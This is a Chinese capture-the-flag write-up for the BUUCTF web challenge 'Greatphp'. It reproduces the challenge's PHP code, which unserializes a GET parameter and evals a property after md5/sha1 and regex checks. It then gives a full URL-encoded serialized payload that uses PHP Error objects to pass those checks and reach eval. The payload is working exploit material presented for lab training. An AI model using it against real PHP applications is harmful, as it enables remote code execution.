97,【5】buuctf web [极客大挑战 2020]Greatphp

news/2025/2/3 6:19:39 标签: 前端

进入靶场

审代码

<?php
// 关闭所有 PHP 错误报告,防止错误信息泄露可能的安全隐患
error_reporting(0);

// 定义一个名为 SYCLOVER 的类
class SYCLOVER {
    // 定义类的公共属性 $syc
    public $syc;
    // 定义类的公共属性 $lover
    public $lover;

    // 定义魔术方法 __wakeup,当对象被反序列化时会自动调用该方法
    public function __wakeup(){
        // 检查 $syc 和 $lover 的值不相等,但它们的 MD5 哈希值和 SHA1 哈希值都相等
        // 利用了哈希算法碰撞的特性,在某些特殊输入下不同值可能产生相同的哈希结果
        if( ($this->syc != $this->lover) && (md5($this->syc) === md5($this->lover)) && (sha1($this->syc) === sha1($this->lover)) ){
            // 使用正则表达式检查 $syc 中是否包含 <?php、(、)、" 或 ' 这些字符
            if(!preg_match("/\<\?php|\(|\)|\"|\'/", $this->syc, $match)){
                // 如果 $syc 中不包含上述危险字符,则将 $syc 作为 PHP 代码进行执行
                eval($this->syc);
            } else {
                // 如果 $syc 中包含危险字符,终止程序并输出提示信息
                die("Try Hard !!");
            }
        }
    }
}

// 检查是否通过 GET 请求传递了名为 'great' 的参数
if (isset($_GET['great'])){
    // 如果存在 'great' 参数,对其进行反序列化操作
    // 反序列化过程中会触发 SYCLOVER 类的 __wakeup 方法
    unserialize($_GET['great']);
} else {
    // 如果不存在 'great' 参数,高亮显示当前 PHP 文件的源代码
    highlight_file(__FILE__);
}

?>

总结:通过 GET 请求传递名为 'great' 的参数,并对 'great' 参数进行序列化操作 

 $syc 和 $lover 的值不相等,但它们的 MD5 哈希值和 SHA1 哈希值都相等

正则表达式检查 $syc 

payload:

/?great=O%3A8%3A%22SYCLOVER%22%3A2%3A%7Bs%3A3%3A%22syc%22%3BO%3A5%3A%22Error%22%3A7%3A%7Bs%3A10%3A%22%00%2A%00message%22%3Bs%3A20%3A%22%3F%3E%3C%3F%3Dinclude%7E%D0%99%93%9E%98%3F%3E%22%3Bs%3A13%3A%22%00Error%00string%22%3Bs%3A0%3A%22%22%3Bs%3A7%3A%22%00%2A%00code%22%3Bi%3A1%3Bs%3A7%3A%22%00%2A%00file%22%3Bs%3A15%3A%22%2Fbox%2Fscript.php%22%3Bs%3A7%3A%22%00%2A%00line%22%3Bi%3A13%3Bs%3A12%3A%22%00Error%00trace%22%3Ba%3A0%3A%7B%7Ds%3A15%3A%22%00Error%00previous%22%3BN%3B%7Ds%3A5%3A%22lover%22%3BO%3A5%3A%22Error%22%3A7%3A%7Bs%3A10%3A%22%00%2A%00message%22%3Bs%3A20%3A%22%3F%3E%3C%3F%3Dinclude%7E%D0%99%93%9E%98%3F%3E%22%3Bs%3A13%3A%22%00Error%00string%22%3Bs%3A0%3A%22%22%3Bs%3A7%3A%22%00%2A%00code%22%3Bi%3A2%3Bs%3A7%3A%22%00%2A%00file%22%3Bs%3A15%3A%22%2Fbox%2Fscript.php%22%3Bs%3A7%3A%22%00%2A%00line%22%3Bi%3A13%3Bs%3A12%3A%22%00Error%00trace%22%3Ba%3A0%3A%7B%7Ds%3A15%3A%22%00Error%00previous%22%3BN%3B%7D%7D

 

 


http://www.niftyadmin.cn/n/5840542.html

相关文章

Maven全解析:从基础到精通的实战指南

概念&#xff1a; Maven 是跨平台的项目管理工具。主要服务基于 Java 平台的构建&#xff0c;依赖管理和项目信息管理项目构建&#xff1a;高度自动化&#xff0c;跨平台&#xff0c;可重用的组件&#xff0c;标准化的流程 依赖管理&#xff1a; 对第三方依赖包的管理&#xf…

Windows11 不依赖docker搭建 deepseek-R1 1.5B版本(附 Open WebUi搭建方式)

零、前言 过年这几天发现 DeepSeek 非常火&#xff0c;试用了一下发现确实不错。与豆包、kimi、perplexity 这些相比完全不是一个次元的存在&#xff0c;特别是用ta写文章的时候体验非常好。所以试着自己搭一个环境。 一、安装 Ollama和DeepSeek-R1 我的安装方式很简单&#xf…

AWS EMR上的Spark日志实时搜索关键指标网页呈现的设计和实现

为了在AWS EMR上实现基于Spark的大数据日志处理系统&#xff0c;并通过Kafka、ElasticSearch和Python Flask构建实时搜索与可视化平台&#xff0c;以下是详细的设计与实现方案&#xff1a; 一、架构设计 #mermaid-svg-yDbFJA2AyZXqUInz {font-family:"trebuchet ms",…

gitea - fatal: Authentication failed

文章目录 gitea - fatal: Authentication failed概述run_gitea_on_my_pkm.bat 笔记删除windows凭证管理器中对应的url认证凭证启动gitea服务端的命令行正常用 TortoiseGit 提交代码备注END gitea - fatal: Authentication failed 概述 本地的git归档服务端使用gitea. 原来的用…

BUUCTF_[安洵杯 2019]easy_web(preg_match绕过/MD5强碰撞绕过/代码审计)

打开靶场&#xff0c;出现下面的静态html页面&#xff0c;也没有找到什么有价值的信息。 查看页面源代码 在url里发现了img传参还有cmd 求img参数 这里先从img传参入手&#xff0c;这里我发现img传参好像是base64的样子 进行解码&#xff0c;解码之后还像是base64的样子再次进…

为何 git 默认是 master分支,而github默认是main分支(DeepSeek问答)

为何 git 默认是 master分支&#xff0c;而github默认是main分支 Git 和 GitHub 在默认分支名称上的差异源于历史背景和社会因素的变化。 Git 的 master 分支 历史原因&#xff1a;Git 由 Linus Torvalds 于 2005 年创建&#xff0c;最初使用 master 作为默认分支名称&#x…

封装常用控制器

封装常用控制器 // // BaseLogicController.swift // 项目中通用的逻辑控制器import UIKit import TangramKitclass BaseLogicController: BaseCommonController {/// 根容器var rootContainer:TGBaseLayout!/// 头部容器var superHeaderContainer:TGBaseLayout!var superHea…

BUUCTF_[网鼎杯 2020 朱雀组]phpweb(反序列化绕过命令)

打开靶场&#xff0c;,弹出上面的提示,是一个警告warning,而且页面每隔几秒就会刷新一次,根据warning中的信息以及信息中的时间一直在变,可以猜测是date()函数一直在被调用 查看页面源代码&#xff0c;没有什么有用的信息 Burp抓包一下 调用了date()函数并回显在页面上,参数fu…